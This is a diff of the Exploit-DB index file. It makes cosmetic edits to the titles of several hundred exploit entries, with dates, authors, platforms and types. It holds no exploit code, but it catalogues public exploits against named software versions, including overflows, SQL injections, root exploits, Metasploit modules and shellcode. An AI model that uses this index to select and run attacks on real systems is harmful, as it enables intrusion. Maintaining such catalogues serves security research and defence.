+19776,platforms/windows/local/19776.pl,"ZipItFast PRO 3.0 - Heap Overflow Exploit",2012-07-12,b33f,windows,local,0
 19777,platforms/windows/dos/19777.txt,"IE9, SharePoint, Lync toStaticHTML HTML Sanitizing Bypass",2012-07-12,"Adi Cohen",windows,dos,0
 19778,platforms/linux/local/19778.c,"RedHat 4.x/5.x/6.x,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.x man Buffer Overrun (1)",2000-02-26,"Babcia Padlina",linux,local,0
 19779,platforms/linux/local/19779.c,"RedHat 4.x/5.x/6.x,RedHat man 1.5,Turbolinux man 1.5,Turbolinux 3.5/4.x man Buffer Overrun (2)",2000-02-26,"Babcia Padlina",linux,local,0
@@ -17127,7 +17127,7 @@ id,file,description,date,author,platform,type,port
 19788,platforms/irix/remote/19788.pl,"SGI InfoSearch 1.0,SGI IRIX 6.5.x fname Vulnerability",2000-03-05,rpc,irix,remote,0
 19789,platforms/windows/local/19789.txt,"Microsoft Clip Art Gallery 5.0 Buffer Overflow Vulnerability",2000-03-06,dildog,windows,local,0
 19790,platforms/php/webapps/19790.txt,"WebPagetest <= 2.6 Multiple Vulnerabilities",2012-07-13,dun,php,webapps,0
-19791,platforms/php/webapps/19791.txt,"WordPress Resume Submissions & Job Postings v2.5.1 Unrestricted File Upload",2012-07-13,"Chris Kellum",php,webapps,0
+19791,platforms/php/webapps/19791.txt,"WordPress Resume Submissions & Job Postings 2.5.1 - Unrestricted File Upload",2012-07-13,"Chris Kellum",php,webapps,0
 19792,platforms/php/webapps/19792.txt,"Joomla KISS Advertiser Remote File & Bypass Upload Vulnerability",2012-07-13,D4NB4R,php,webapps,0
 19793,platforms/php/webapps/19793.txt,"Magento eCommerce Local File Disclosure",2012-07-13,"SEC Consult",php,webapps,0
 19794,platforms/linux/local/19794.txt,"Oracle8i Standard Edition 8.1.5 for Linux Installer Vulnerability",2000-03-05,"Keyser Soze",linux,local,0
@@ -17197,7 +17197,7 @@ id,file,description,date,author,platform,type,port
 19862,platforms/php/webapps/19862.pl,"Wordpress Diary/Notebook Site5 Theme Email Spoofing",2012-07-16,bwall,php,webapps,0
 19863,platforms/php/webapps/19863.txt,"CakePHP 2.x-2.2.0-RC2 XXE Injection",2012-07-16,"Pawel h0wl Wylecial",php,webapps,0
 19864,platforms/php/webapps/19864.txt,"VamCart v0.9 CMS - Multiple Vulnerabilities",2012-07-16,Vulnerability-Lab,php,webapps,0
-19865,platforms/php/webapps/19865.txt,"PBBoard v2.1.4 CMS - Multiple Vulnerabilities",2012-07-16,Vulnerability-Lab,php,webapps,0
+19865,platforms/php/webapps/19865.txt,"PBBoard 2.1.4 - CMS Multiple Vulnerabilities",2012-07-16,Vulnerability-Lab,php,webapps,0
 19866,platforms/windows/dos/19866.pl,"DomsHttpd <= 1.0 Remote Denial Of Service Exploit",2012-07-16,"Jean Pascal Pereira",windows,dos,0
 19867,platforms/linux/local/19867.txt,"S.u.S.E. Linux 6.x Arbitrary File Deletion Vulnerability",2000-04-21,Peter_M,linux,local,0
 19868,platforms/linux/remote/19868.c,"LCDProc 0.4 Buffer Overflow Vulnerability",2000-04-23,"Andrew Hobgood",linux,remote,0
@@ -17209,8 +17209,8 @@ id,file,description,date,author,platform,type,port
 19874,platforms/solaris/local/19874.c,"Solaris 2.6/7.0 lpset -r Buffer Overflow Vulnerability (3)",2000-04-24,"Theodor Ragnar Gislason",solaris,local,0
 19875,platforms/immunix/local/19875.txt,"PostgreSQL 6.3.2/6.5.3 Cleartext Passwords Vulnerability",2000-04-23,"Robert van der Meulen",immunix,local,0
 19876,platforms/solaris/local/19876.c,"Solaris 7.0/8 Xsun Buffer Overrun Vulnerability",2000-04-24,DiGiT,solaris,local,0
-19877,platforms/windows/remote/19877.txt,"FrontPage 98/Personal WebServer 1.0,Personal Web Server  2.0 htimage.exe File Existence Disclosure",2000-04-19,Narrow,windows,remote,0
-19878,platforms/solaris/local/19878.c,"Solaris 2.6/7.0  lp -d Option Buffer Overflow Vulnerability",2000-04-24,DiGiT,solaris,local,0
+19877,platforms/windows/remote/19877.txt,"FrontPage 98/Personal WebServer 1.0,Personal Web Server 2.0 htimage.exe File Existence Disclosure",2000-04-19,Narrow,windows,remote,0
+19878,platforms/solaris/local/19878.c,"Solaris 2.6/7.0 lp -d Option Buffer Overflow Vulnerability",2000-04-24,DiGiT,solaris,local,0
 19879,platforms/linux/remote/19879.txt,"RedHat 6.2 Piranha Virtual Server Package Default Account and Password Vulnerability",2000-04-24,"Max Vision",linux,remote,0
 19880,platforms/windows/dos/19880.txt,"Symantec pcAnywhere 8.0.1/8.0.2/9.0/9.2 Port Scan DoS Vulnerability",2000-04-25,Vacuum,windows,dos,0
 19881,platforms/windows/remote/19881.txt,"McMurtrey/Whitaker & Associates Cart32 2.6/3.0 Remote Administration Password Vulnerability",2000-04-27,"Cerberus Security Team",windows,remote,0
@@ -17226,7 +17226,7 @@ id,file,description,date,author,platform,type,port
 19891,platforms/linux/remote/19891.c,"Ethereal 0.8.4/0.8.5/0.8.6,tcpdump 3.4/3.5 alpha DNS Decode Vulnerability (1)",1999-05-31,"Hugo Breton",linux,remote,0
 19892,platforms/linux/remote/19892.txt,"Ethereal 0.8.4/0.8.5/0.8.6,tcpdump 3.4/3.5 alpha DNS Decode Vulnerability (2)",1999-05-31,scut,linux,remote,0
 19893,platforms/windows/remote/19893.c,"L-Soft Listserv 1.8 Web Archives Buffer Overflow Vulnerability",2000-05-01,"David Litchfield",windows,remote,0
-19894,platforms/windows/local/19894.txt,"Aladdin Knowledge Systems eToken 3.3.3  eToken PIN Extraction Vulnerability",2000-05-04,kingpin,windows,local,0
+19894,platforms/windows/local/19894.txt,"Aladdin Knowledge Systems eToken 3.3.3 eToken PIN Extraction Vulnerability",2000-05-04,kingpin,windows,local,0
 19895,platforms/windows/remote/19895.txt,"NetWin DNews 5.3 Server Buffer Overflow Vulnerability",2000-03-01,Joey__,windows,remote,0
 19896,platforms/bsd/dos/19896.c,"FreeBSD 3.4/4.0/5.0,NetBSD 1.4 Unaligned IP Option Denial of Service",2000-05-04,y3t1,bsd,dos,0
 19897,platforms/windows/remote/19897.txt,"FrontPage 2000,IIS 4.0/5.0 Server Extensions Path Disclosure Vulnerability",2000-05-06,"Frankie Zie",windows,remote,0
@@ -17258,7 +17258,7 @@ id,file,description,date,author,platform,type,port
 19924,platforms/bsd/remote/19924.c,"Cygnus Network Security 4.0/KerbNet 5.0,MIT Kerberos 4/5,RedHat 6.2 Compatibility krb_rd_req() Buffer Overflow (1)",2000-05-16,duke,bsd,remote,0
 19925,platforms/linux/local/19925.c,"Cygnus Network Security 4.0/KerbNet 5.0,MIT Kerberos 4/5,RedHat 6.2 Compatibility krb_rd_req() Buffer Overflow (2)",2000-05-26,"Jim Paris",linux,local,0
 19926,platforms/linux/remote/19926.c,"Cygnus Network Security 4.0/KerbNet 5.0,MIT Kerberos 4/5,RedHat 6.2 Compatibility krb_rd_req() Buffer Overflow (3)",2000-04-08,"Jim Paris",linux,remote,0
-19927,platforms/php/webapps/19927.html,"Nwahy Articles v2.2 CSRF Add Admin",2012-07-18,DaOne,php,webapps,0
+19927,platforms/php/webapps/19927.html,"Nwahy Articles 2.2 - CSRF Add Admin",2012-07-18,DaOne,php,webapps,0
 19928,platforms/windows/remote/19928.txt,"Microsoft Active Movie Control 1.0 Filetype Vulnerability",2000-05-13,http-equiv,windows,remote,0
 19930,platforms/windows/local/19930.rb,"Windows Escalate Task Scheduler XML Privilege Escalation",2012-07-19,metasploit,windows,local,0
 19931,platforms/windows/remote/19931.rb,"Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow",2012-07-19,metasploit,windows,remote,998
@@ -17362,7 +17362,7 @@ id,file,description,date,author,platform,type,port
 20032,platforms/lin_x86/remote/20032.txt,"wu-ftpd 2.4.2/2.5 .0/2.6 .0 Remote Format String Stack Overwrite (3)",2001-05-04,justme,lin_x86,remote,0
 20033,platforms/php/webapps/20033.py,"Dell SonicWALL Scrutinizer 9.0.1 (statusFilter.php q parameter) SQL Injection",2012-07-22,muts,php,webapps,0
 20035,platforms/asp/webapps/20035.js,"Ipswitch WhatsUp Gold 15.02 Stored XSS - Blind SQLi - RCE",2012-07-22,muts,asp,webapps,0
-20036,platforms/windows/local/20036.pl,"Photodex ProShow Producer v5.0.3256 Local Buffer Overflow Exploit",2012-07-23,mr.pr0n,windows,local,0
+20036,platforms/windows/local/20036.pl,"Photodex ProShow Producer 5.0.3256 - Local Buffer Overflow Exploit",2012-07-23,mr.pr0n,windows,local,0
 20037,platforms/linux/webapps/20037.txt,"Atmail WebAdmin and Webmail Control Panel SQL Root Password Disclosure",2012-07-23,Ciph3r,linux,webapps,0
 20038,platforms/linux/webapps/20038.py,"Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection",2012-07-23,muts,linux,webapps,0
 20039,platforms/windows/dos/20039.java,"LeafDigital LeafChat 1.7 DoS Vulnerability",2000-06-25,"MDMA Crew",windows,dos,0
@@ -17434,7 +17434,7 @@ id,file,description,date,author,platform,type,port
 20107,platforms/unix/local/20107.txt,"CVS Kit CVS Server 1.10 .8 Instructed File Create Vulnerability",2000-07-28,"Tanaka Akira",unix,local,0
 20108,platforms/unix/local/20108.txt,"CVS Kit CVS Server 1.10 .8 Checkin.prog Binary Execution Vulnerability",2000-06-28,"Tanaka Akira",unix,local,0
 20109,platforms/windows/local/20109.rb,"Photodex ProShow Producer 5.0.3256 load File Handling Buffer Overflow",2012-07-27,metasploit,windows,local,0
-20111,platforms/php/webapps/20111.rb,"CuteFlow v2.11.2 Arbitrary File Upload Vulnerability",2012-07-27,metasploit,php,webapps,0
+20111,platforms/php/webapps/20111.rb,"CuteFlow 2.11.2 - Arbitrary File Upload Vulnerability",2012-07-27,metasploit,php,webapps,0
 20112,platforms/windows/remote/20112.rb,"Cisco Linksys PlayerPT ActiveX Control Buffer Overflow",2012-07-27,metasploit,windows,remote,0
 20113,platforms/linux/remote/20113.rb,"Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",2012-07-27,metasploit,linux,remote,0
 20116,platforms/windows/local/20116.py,"Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 Buffer Overflow (ASLR and DEP Bypass)",2012-07-27,"Ptrace Security",windows,local,0
@@ -17488,7 +17488,7 @@ id,file,description,date,author,platform,type,port
 20168,platforms/php/remote/20168.pl,"pBot Remote Code Execution",2012-08-01,bwall,php,remote,0
 20170,platforms/php/webapps/20170.txt,"Joomla Movm Extension (com_movm) SQL Injection",2012-08-01,D4NB4R,php,webapps,0
 20171,platforms/php/webapps/20171.txt,"ManageEngine Application Manager 10 Multiple Vulnerabilities",2012-08-01,Vulnerability-Lab,php,webapps,0
-20172,platforms/php/webapps/20172.txt,"ManageEngine Mobile Application Manager v10 SQL Injection",2012-08-01,Vulnerability-Lab,php,webapps,0
+20172,platforms/php/webapps/20172.txt,"ManageEngine Mobile Application Manager 10 - SQL Injection",2012-08-01,Vulnerability-Lab,php,webapps,0
 20173,platforms/php/webapps/20173.rb,"WebPageTest Arbitrary PHP File Upload",2012-08-02,metasploit,php,webapps,0
 20174,platforms/windows/remote/20174.rb,"Microsoft Internet Explorer Fixed Table Col Span Heap Overflow",2012-08-02,metasploit,windows,remote,0
 20175,platforms/windows/dos/20175.pl,"PragmaSys TelnetServer 2000 rexec Buffer Overflow Vulnerability",2000-08-24,"Ussr Labs",windows,dos,0
@@ -17514,7 +17514,7 @@ id,file,description,date,author,platform,type,port
 20195,platforms/lin_x86/shellcode/20195.c,"Linux x86 ASLR deactivation - 83 bytes",2012-08-02,"Jean Pascal Pereira",lin_x86,shellcode,0
 20196,platforms/lin_x86/shellcode/20196.c,"Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes",2012-08-02,"Jean Pascal Pereira",lin_x86,shellcode,0
 20197,platforms/php/webapps/20197.txt,"Joomla joomgalaxy 1.2.0.4 Multiple Vulnerabilities",2012-08-02,D4NB4R,php,webapps,0
-20198,platforms/php/webapps/20198.txt,"am4ss 1.2 <= Multiple Vulnerabilities",2012-08-02,s3n4t00r,php,webapps,0
+20198,platforms/php/webapps/20198.txt,"am4ss <= 1.2 - Multiple Vulnerabilities",2012-08-02,s3n4t00r,php,webapps,0
 20199,platforms/php/webapps/20199.php,"am4ss Support System 1.2 PHP Code Injection Exploit",2012-08-02,i-Hmx,php,webapps,0
 20201,platforms/linux/local/20201.c,"Nvidia Linux Driver Privilege Escalation",2012-08-02,Anonymous,linux,local,0
 20202,platforms/windows/remote/20202.rb,"Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow",2012-08-03,metasploit,windows,remote,0
@@ -17580,12 +17580,12 @@ id,file,description,date,author,platform,type,port
 20266,platforms/windows/remote/20266.txt,"MS Virtual Machine 2000/3100/3200/3300 Series com.ms.activeX.ActiveXComponent Arbitrary Program Execution",2000-10-05,"Marcin Jackowski",windows,remote,0
 20268,platforms/php/webapps/20268.txt,"Tickets CAD 2.20G Multiple Vulnerabilities",2012-08-05,chap0,php,webapps,0
 20269,platforms/windows/remote/20269.txt,"Microsoft IIS 5.0 Indexed Directory Disclosure Vulnerability",2000-10-04,"David Litchfield",windows,remote,0
-20270,platforms/php/webapps/20270.txt,"WP Effective Lead Management v3.0.0 Persistent XSS",2012-08-05,"Chris Kellum",php,webapps,0
+20270,platforms/php/webapps/20270.txt,"WP Effective Lead Management 3.0.0 - Persistent XSS",2012-08-05,"Chris Kellum",php,webapps,0
 20271,platforms/openbsd/dos/20271.c,"OpenBSD 2.x Pending ARP Request Remote DoS Vulnerability",2000-10-05,skyper,openbsd,dos,0
 20272,platforms/windows/dos/20272.pl,"Apache 1.2.5/1.3.1,UnityMail 2.0 MIME Header DoS Vulnerability",1998-08-02,L.Facq,windows,dos,0
 20273,platforms/cgi/remote/20273.txt,"Moreover CGI script 0 File Disclosure Vulnerability",2000-10-02,CDI,cgi,remote,0
 20274,platforms/multiple/local/20274.pl,"IBM WebSphere 2.0/3.0 ikeyman Weak Encrypted Password Vulnerability",1999-10-24,"Ben Laurie",multiple,local,0
-20275,platforms/solaris/local/20275.sh,"Netscape iCal 2.1 Patch2  iPlanet iCal 'iplncal.sh' Permissions Vulnerability",2000-10-10,@stake,solaris,local,0
+20275,platforms/solaris/local/20275.sh,"Netscape iCal 2.1 Patch2 iPlanet iCal 'iplncal.sh' Permissions Vulnerability",2000-10-10,@stake,solaris,local,0
 20276,platforms/solaris/local/20276.sh,"Netscape iCal 2.1 Patch2 iPlanet iCal 'csstart' Vulnerability",2000-10-10,@stake,solaris,local,0
 20277,platforms/cgi/remote/20277.txt,"Armada Design Master Index 1.0 Path Traversal Vulnerability",2000-07-18,pestilence,cgi,remote,0
 20278,platforms/php/webapps/20278.txt,"PHPix 1.0 Directory Traversal Vulnerability",2000-10-07,Synnergy.net,php,webapps,0
@@ -17615,7 +17615,7 @@ id,file,description,date,author,platform,type,port
 20302,platforms/windows/remote/20302.pl,"MS IIS 4.0/5.0 and PWS Extended Unicode Directory Traversal Vulnerability (5)",2000-10-17,"Andrea Spabam",windows,remote,0
 20303,platforms/cgi/remote/20303.pl,"Oatmeal Studios Mail File 1.10 Arbitrary File Disclosure Vulnerability",2000-10-11,"Dirk Brockhausen",cgi,remote,0
 20304,platforms/windows/dos/20304.txt,"Omnicron OmniHTTPD 1.1/2.0 Alpha 1 visiadmin.exe Denial of Service Vulnerability",1999-06-05,"Valentin Perelogin",windows,dos,0
-20305,platforms/windows/remote/20305.txt,"Microsoft Site Server 2.0 with IIS 4.0 Malicious File Upload Vulnerability",1999-01-30,Mnemonix,windows,remote,0
+20305,platforms/windows/remote/20305.txt,"Microsoft Site Server 2.0 with IIS 4.0 - File Upload Vulnerability",1999-01-30,Mnemonix,windows,remote,0
 20306,platforms/windows/remote/20306.html,"Microsoft Virtual Machine Arbitrary Java Codebase Execution Vulnerability",2000-10-18,"Georgi Guninski",windows,remote,0
 20307,platforms/windows/dos/20307.txt,"Hilgraeve HyperTerminal 6.0 Telnet Buffer Overflow Vulnerability",2000-10-18,"Ussr Labs",windows,dos,0
 20308,platforms/linux/remote/20308.c,"Samba 1.9.19 Long Password Buffer Overflow Vulnerability",1997-09-25,root@adm.kix-azz.org,linux,remote,0
@@ -17651,7 +17651,7 @@ id,file,description,date,author,platform,type,port
 20338,platforms/linux/local/20338.c,"SAMBA 2.0.7 SWAT Symlink Vulnerability (1)",2000-11-01,optyx,linux,local,0
 20339,platforms/linux/local/20339.sh,"SAMBA 2.0.7 SWAT Symlink Vulnerability (2)",2000-11-01,optyx,linux,local,0
 20340,platforms/unix/remote/20340.c,"SAMBA 2.0.7 SWAT Logging Failure Vulnerability",2000-11-01,dodeca-T,unix,remote,0
-20341,platforms/linux/local/20341.sh,"SAMBA 2.0.7  SWAT Logfile Permissions Vulnerability",2000-11-01,miah,linux,local,0
+20341,platforms/linux/local/20341.sh,"SAMBA 2.0.7 SWAT Logfile Permissions Vulnerability",2000-11-01,miah,linux,local,0
 20342,platforms/php/webapps/20342.php,"WespaJuris <= 3.0 Multiple Vulnerabilities",2012-08-08,WhiteCollarGroup,php,webapps,0
 20343,platforms/php/webapps/20343.pl,"Joomla En Masse Component 1.2.0.4 SQL Injection",2012-08-08,D4NB4R,php,webapps,0
 20344,platforms/php/webapps/20344.php,"AraDown Blind SQL Injection",2012-08-08,G-B,php,webapps,0
@@ -17700,9 +17700,9 @@ id,file,description,date,author,platform,type,port
 20387,platforms/cgi/remote/20387.txt,"YaBB 9.11.2000 search.pl Arbitrary Command Execution Vulnerability",2000-11-07,rpc,cgi,remote,0
 20388,platforms/linux/dos/20388.txt,"BIND 8.2.2-P5 Denial of Service Vulnerability",2000-11-01,"Fabio Pietrosanti",linux,dos,0
 20390,platforms/php/webapps/20390.txt,"Joomla FireBoard Component (com_fireboard) SQL Injection Vulnerability",2012-08-09,Vulnerability-Lab,php,webapps,0
-20391,platforms/php/webapps/20391.php,"Kamads Classifieds V2 Admin Hash Disclosure",2012-08-09,Mr.tro0oqy,php,webapps,0
+20391,platforms/php/webapps/20391.php,"Kamads Classifieds 2.0 - Admin Hash Disclosure",2012-08-09,Mr.tro0oqy,php,webapps,0
 20392,platforms/windows/remote/20392.rb,"NetDecision 4.2 TFTP Writable Directory Traversal Execution",2012-08-10,metasploit,windows,remote,0
-20393,platforms/windows/webapps/20393.py,"Cyclope Employee Surveillance Solution v6.0 (6.1.0/6.2.0/6.2.1/6.3.0) SQL Injection",2012-08-09,loneferret,windows,webapps,0
+20393,platforms/windows/webapps/20393.py,"Cyclope Employee Surveillance Solution 6.0/6.1.0/6.2.0/6.2.1/6.3.0 - SQL Injection",2012-08-09,loneferret,windows,webapps,0
 20394,platforms/unix/remote/20394.c,"BNC 2.2.4/2.4.6/2.4.8 IRC Proxy Buffer Overflow Vulnerability (1)",1998-12-26,duke,unix,remote,0
 20395,platforms/unix/remote/20395.c,"BNC 2.2.4/2.4.6/2.4.8 IRC Proxy Buffer Overflow Vulnerability (2)",1998-12-26,"jamez and dumped",unix,remote,0
 20396,platforms/hp-ux/local/20396.sh,"HP-UX 10.x/11.x Aserver PATH Vulnerability",1998-10-18,Loneguard,hp-ux,local,0
@@ -17727,8 +17727,8 @@ id,file,description,date,author,platform,type,port
 20416,platforms/php/webapps/20416.txt,"WordPress Mz-jajak plugin <= 2.1 SQL Injection Vulnerability",2012-08-10,StRoNiX,php,webapps,0
 20417,platforms/osx/local/20417.c,"Tunnelblick Local Root Exploit",2012-08-11,zx2c4,osx,local,0
 20418,platforms/solaris/local/20418.txt,"Solaris 10 Patch 137097-01 Symlink Attack Privilege Escalation",2012-08-11,"Larry Cashdollar",solaris,local,0
-20419,platforms/php/webapps/20419.txt,"Flynax General Classifieds v4.0 CMS Multiple Vulnerabilities",2012-08-11,Vulnerability-Lab,php,webapps,0
-20421,platforms/php/webapps/20421.txt,"ProQuiz v2.0.2 Multiple Vulnerabilities",2012-08-11,L0n3ly-H34rT,php,webapps,0
+20419,platforms/php/webapps/20419.txt,"Flynax General Classifieds 4.0 - CMS Multiple Vulnerabilities",2012-08-11,Vulnerability-Lab,php,webapps,0
+20421,platforms/php/webapps/20421.txt,"ProQuiz 2.0.2 - Multiple Vulnerabilities",2012-08-11,L0n3ly-H34rT,php,webapps,0
 20422,platforms/php/webapps/20422.txt,"MobileCartly 1.0 Arbitrary File Write Vulnerability",2012-08-10,"Yakir Wizman",php,webapps,0
 20423,platforms/cgi/remote/20423.txt,"NCSA httpd-campas 1.2 sample script Vulnerability",1997-07-15,"Francisco Torres",cgi,remote,0
 20424,platforms/windows/remote/20424.txt,"Microsoft Windows Media Player 7.0 .WMS Arbitrary Script Vulnerability",2000-11-22,"Sandro Gauci",windows,remote,0
@@ -17771,25 +17771,25 @@ id,file,description,date,author,platform,type,port
 20461,platforms/windows/remote/20461.txt,"Serv-U 2.4/2.5 FTP Directory Traversal Vulnerability",2000-12-05,Zoa_Chien,windows,remote,0
 20462,platforms/unix/remote/20462.txt,"Hylafax 4.0 pl2 Faxsurvey Remote Command Execution Vulnerability",1998-08-04,Tom,unix,remote,0
 20463,platforms/cgi/remote/20463.txt,"WEBgais 1.0 Remote Command Execution Vulnerability",1997-07-10,"Razvan Dragomirescu",cgi,remote,0
-20464,platforms/windows/dos/20464.py,"Spytech NetVizor v6.1 (services.exe) DoS",2012-08-12,loneferret,windows,dos,0
+20464,platforms/windows/dos/20464.py,"Spytech NetVizor 6.1 - (services.exe) DoS",2012-08-12,loneferret,windows,dos,0
 20465,platforms/cgi/remote/20465.sh,"Squid Web Proxy 2.2 cachemgr.cgi Unauthorized Connection Vulnerability",1999-07-23,fsaa,cgi,remote,0
 20466,platforms/multiple/remote/20466.txt,"Apache 1.3 Web Server with Php 3 File Disclosure Vulnerability",2000-12-06,"china nsl",multiple,remote,0
 20467,platforms/multiple/remote/20467.txt,"Inktomi Search Software 3.0 Source Disclosure Vulnerability",2000-12-05,"china nsl",multiple,remote,0
 20468,platforms/multiple/remote/20468.txt,"Inktomi Search Software 3.0 Information Disclosure Vulnerability",2000-12-05,"china nsl",multiple,remote,0
 20469,platforms/unix/remote/20469.txt,"Endymion MailMan 3.0..x Remote Arbitrary Command Execution Vulnerability",2000-12-06,"Secure Reality Advisories",unix,remote,0
 20470,platforms/windows/dos/20470.txt,"IBM DB2 Universal Database for Windows NT 6.1/7.1 SQL DoS Vulnerability",2000-12-05,benjurry,windows,dos,0
-20472,platforms/multiple/remote/20472.txt,"IBM DB2 Universal Database for Linux 6.1/Windows NT 6.1  Known Default Password Vulnerability",2000-12-05,benjurry,multiple,remote,0
+20472,platforms/multiple/remote/20472.txt,"IBM DB2 Universal Database for Linux 6.1/Windows NT 6.1 Known Default Password Vulnerability",2000-12-05,benjurry,multiple,remote,0
 20473,platforms/hardware/dos/20473.pl,"Cisco Catalyst 4000 4.x/5.x,Catalyst 5000 4.5/5.x,Catalyst 6000 5.x Memory Leak DoS",2000-12-06,blackangels,hardware,dos,0
-20474,platforms/php/webapps/20474.txt,"WordPress RSVPMaker v2.5.4 Persistent XSS",2012-08-13,"Chris Kellum",php,webapps,0
+20474,platforms/php/webapps/20474.txt,"WordPress RSVPMaker 2.5.4 - Persistent XSS",2012-08-13,"Chris Kellum",php,webapps,0
 20476,platforms/php/webapps/20476.txt,"Hotel Booking Portal v0.1 Multiple Vulnerabilities",2012-08-13,"Yakir Wizman",php,webapps,0
 20477,platforms/windows/webapps/20477.txt,"IBM WebSphere MQ File Transfer Edition Web Gateway CSRF Vulnerability",2012-08-13,"Nir Valtman",windows,webapps,0
 20478,platforms/windows/webapps/20478.txt,"IBM WebSphere MQ File Transfer Edition Web Gateway Insufficient Access Control",2012-08-13,"Nir Valtman",windows,webapps,0
-20479,platforms/linux/dos/20479.pl,"Pure-FTPd v1.0.21 (centos 6.2, ubuntu 8.04) Crash PoC (Null Pointer Dereference)",2012-08-13,Kingcope,linux,dos,0
+20479,platforms/linux/dos/20479.pl,"Pure-FTPd 1.0.21 (CentOS 6.2 & Ubuntu 8.04) - Crash PoC (Null Pointer Dereference)",2012-08-13,Kingcope,linux,dos,0
 20481,platforms/windows/remote/20481.txt,"Microsoft IIS 2.0/3.0 Appended Dot Script Source Disclosure Vulnerability",1997-02-20,"Mark Joseph Edwards",windows,remote,0
 20482,platforms/novell/remote/20482.txt,"Novell Netware Web Server 3.x files.pl Vulnerability",1998-12-01,Anonymous,novell,remote,0
 20483,platforms/cgi/remote/20483.txt,"WEBgais 1.0 websendmail Remote Command Execution Vulnerability",1997-07-04,"Razvan Dragomirescu",cgi,remote,0
 20484,platforms/windows/dos/20484.txt,"OReilly WebSite 1.x/2.0 win-c-sample.exe Buffer Overflow Vulnerability",1997-01-06,"Solar Designer",windows,dos,0
-20485,platforms/osx/local/20485.sh,"OS X Local Root Exploit for Viscosity OpenVPN Client",2012-08-13,zx2c4,osx,local,0
+20485,platforms/osx/local/20485.sh,"OS X Viscosity OpenVPN Client - Local Root Exploit",2012-08-13,zx2c4,osx,local,0
 20486,platforms/unix/remote/20486.html,"Matt Wright FormMail 1.x Cross-Site Request Forgery Vulnerability",1997-01-01,Anonymous,unix,remote,0
 20487,platforms/hardware/dos/20487.pl,"Watchguard SOHO 2.2 Denial of Service Vulnerability",2000-12-08,"Filip Maertens",hardware,dos,0
 20488,platforms/windows/remote/20488.txt,"MetaProducts Offline Explorer 1.x File System Disclosure Vulnerability",2000-12-07,Dodger,windows,remote,0
@@ -17802,8 +17802,8 @@ id,file,description,date,author,platform,type,port
 20495,platforms/unix/remote/20495.c,"Oops Proxy Server 1.4.22 Buffer Overflow Vulnerabilities (1)",2000-12-11,CyRaX,unix,remote,0
 20496,platforms/linux/remote/20496.c,"Oops Proxy Server 1.4.22 Buffer Overflow Vulnerabilities (2)",2000-12-07,diman,linux,remote,0
 20497,platforms/cgi/remote/20497.html,"Leif M. Wright everythingform.cgi 2.0 Arbitrary Command Execution Vulnerability",2000-12-11,rpc,cgi,remote,0
-20500,platforms/php/remote/20500.rb,"TestLink v1.9.3 Arbitrary File Upload Vulnerability",2012-08-15,metasploit,php,remote,0
-20501,platforms/windows/remote/20501.rb,"Cyclope Employee Surveillance Solution v6 SQL Injection",2012-08-15,metasploit,windows,remote,7879
+20500,platforms/php/remote/20500.rb,"TestLink 1.9.3 - Arbitrary File Upload Vulnerability",2012-08-15,metasploit,php,remote,0
+20501,platforms/windows/remote/20501.rb,"Cyclope Employee Surveillance Solution 6.0 - SQL Injection",2012-08-15,metasploit,windows,remote,7879
 20502,platforms/java/remote/20502.rb,"Novell ZENworks Asset Management Remote Execution",2012-08-15,metasploit,java,remote,8080
 20503,platforms/cgi/remote/20503.html,"Leif M. Wright simplestmail.cgi 1.0 Remote Command Execution Vulnerability",2000-12-11,rpc,cgi,remote,0
 20504,platforms/cgi/remote/20504.html,"Leif M. Wright ad.cgi 1.0 Unchecked Input Vulnerability",2000-12-11,rpc,cgi,remote,0
@@ -17812,7 +17812,7 @@ id,file,description,date,author,platform,type,port
 20507,platforms/multiple/remote/20507.txt,"Alex Heiphetz Group EZShopper 2.0/3.0 Directory Traversal Vulnerability",2000-12-13,Nsfocus,multiple,remote,0
 20508,platforms/windows/dos/20508.txt,"Microsoft NT 4.0 RAS/PPTP Malformed Control Packet Denial of Service Attack",1999-04-27,"Simon Helson",windows,dos,0
 20509,platforms/hardware/dos/20509.pl,"Cisco Catalyst 4000/5000/6000 6.1 SSH Protocol Mismatch Denial of Service",2000-12-13,blackangels,hardware,dos,0
-20510,platforms/windows/remote/20510.txt,"AOL Instant Messenger 3.5.1856/4.0/4.1.2010/4.2.1193  'aim://' Buffer Overflow Vulnerability",2000-12-12,"Joe Testa",windows,remote,0
+20510,platforms/windows/remote/20510.txt,"AOL Instant Messenger 3.5.1856/4.0/4.1.2010/4.2.1193 'aim://' Buffer Overflow Vulnerability",2000-12-12,"Joe Testa",windows,remote,0
 20511,platforms/windows/remote/20511.txt,"AOL Instant Messenger 4.0/4.1.2010/4.2.1193 BuddyIcon Buffer Overflow Vulnerability",2000-12-12,@stake,windows,remote,0
 20512,platforms/unix/remote/20512.txt,"BSD ftpd 0.3.2 Single Byte Buffer Overflow Vulnerability",2000-12-18,Scrippie,unix,remote,0
 20513,platforms/multiple/remote/20513.txt,"iCat Electronic Commerce Suite 3.0 File Disclosure Vulnerability",1997-11-08,"Mikael Johansson",multiple,remote,0
@@ -17842,15 +17842,15 @@ id,file,description,date,author,platform,type,port
 20537,platforms/multiple/remote/20537.txt,"Borland/Inprise Interbase 4.0/5.0/6.0 Backdoor Password Vulnerability",2001-01-10,"Frank Schlottmann-Goedde",multiple,remote,0
 20538,platforms/php/webapps/20538.txt,"Basilix Webmail 0.9.7 Incorrect File Permissions Vulnerability",2001-01-11,"Tamer Sahin",php,webapps,0
 20539,platforms/php/webapps/20539.txt,"MobileCartly 1.0 Remote File Upload Vulnerability",2012-08-15,ICheer_No0M,php,webapps,0
-20541,platforms/php/webapps/20541.txt,"MaxForum v1.0.0 Local File Inclusion",2012-08-15,ahwak2000,php,webapps,0
+20541,platforms/php/webapps/20541.txt,"MaxForum 1.0.0 - Local File Inclusion",2012-08-15,ahwak2000,php,webapps,0
 20542,platforms/windows/local/20542.rb,"globalSCAPE CuteZIP Stack Buffer Overflow",2012-08-15,metasploit,windows,local,0
 20543,platforms/windows/local/20543.rb,"Windows Service Trusted Path Privilege Escalation",2012-08-15,metasploit,windows,local,0
-20544,platforms/php/webapps/20544.txt,"xt:Commerce <= v3.04 SP2.1 Time Based Blind SQL Injection",2012-08-15,stoffline.com,php,webapps,0
